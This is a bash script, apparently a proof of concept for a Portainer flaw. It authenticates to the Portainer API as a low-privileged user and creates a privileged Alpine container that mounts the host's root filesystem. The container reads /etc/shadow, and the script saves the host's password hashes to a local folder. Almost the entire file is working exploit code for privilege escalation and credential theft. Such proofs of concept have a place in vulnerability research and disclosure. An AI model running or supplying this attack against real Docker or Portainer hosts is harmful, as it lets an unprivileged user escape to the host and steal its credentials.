#!/bin/bash

#Getting the jwt token from the user so we can authenticate the commands.
#Set the USERNAME and PASSWORD to connect as the user.
secrets_dir="portainer_vulnerability_secret"
mkdir -p "$secrets_dir"

LOW_TOKEN=$(curl -k -s -X POST https://localhost:9443/api/auth \
  -H "Content-Type: application/json" \
  -d '{"username":"USERNAME","password":"PASSWORD"}' \
  | jq -r '.jwt')

if [ "$LOW_TOKEN" = "null" ] || [ -z "$LOW_TOKEN" ]; then
    echo -e "[!] Failed to authenticate"
    exit 1
fi

#Check for the Endpoint

echo "[*] Listing all available endpoints:"
ENDPOINTS=$(curl -k -s https://localhost:9443/api/endpoints \
  -H "Authorization: Bearer $LOW_TOKEN")

echo "$ENDPOINTS" | jq '.[] | {Id, Name, Type, URL}'

#Set endpoint id so we dont need to manualy set it.
#In this case we only have one endpoint because we gave the user only at one endtpoint access.
ENDPOINT_ID=$(echo "$ENDPOINTS" | jq -r '.[0].Id')

#Checking if the alpine is available to use it as image for our container and make linux commands available.

echo "[*] Checking for alpine:latest image..."

HAS_ALPINE=$(curl -k -s "https://localhost:9443/api/endpoints/${ENDPOINT_ID}/docker/images/json" \
  -H "Authorization: Bearer $LOW_TOKEN" | jq -r '.[].RepoTags[]' | grep -c "alpine:latest")

if [ "$HAS_ALPINE" -eq 0 ]; then
    echo "[*] Alpine image not found, pulling..."
    curl -k -X POST "https://localhost:9443/api/endpoints/${ENDPOINT_ID}/docker/images/create?fromImage=alpine&tag=latest" \
      -H "Authorization: Bearer $LOW_TOKEN" \
      --no-buffer 2>&1 | grep -E "(Downloading|Download complete|Pull complete|Status)" | tail -n 5
    
    sleep 5
    echo "[*] Image pull completed"
else
    echo "[*] Alpine image already available"
fi
echo ""


#Creating the malicious container

echo -e "[*] Reading /etc/shadow from host..."
EXPLOIT_CONTAINER=$(curl -k -s -X POST "https://localhost:9443/api/endpoints/${ENDPOINT_ID}/docker/containers/create?name=exploit-container" \
  -H "Authorization: Bearer $LOW_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "Image": "alpine:latest",
    "Cmd": ["cat", "/host/etc/shadow"],
    "HostConfig": {
      "Privileged": true,
      "Binds": ["/:/host:ro"]
    }
  }' | jq -r '.Id')

#Starting the container

curl -k -s -X POST "https://localhost:9443/api/endpoints/${ENDPOINT_ID}/docker/containers/$EXPLOIT_CONTAINER/start" \
  -H "Authorization: Bearer $LOW_TOKEN" > /dev/null

sleep 3

#Copying the shadow file from the host machine

curl -k "https://localhost:9443/api/endpoints/${ENDPOINT_ID}/docker/containers/$EXPLOIT_CONTAINER/logs?stdout=1" \
  -H "Authorization: Bearer $LOW_TOKEN" 2>/dev/null | strings > "$secrets_dir/etc_shadow.txt"

echo -e "[*] /etc/shadow contents saved to $secrets_dir/etc_shadow.txt"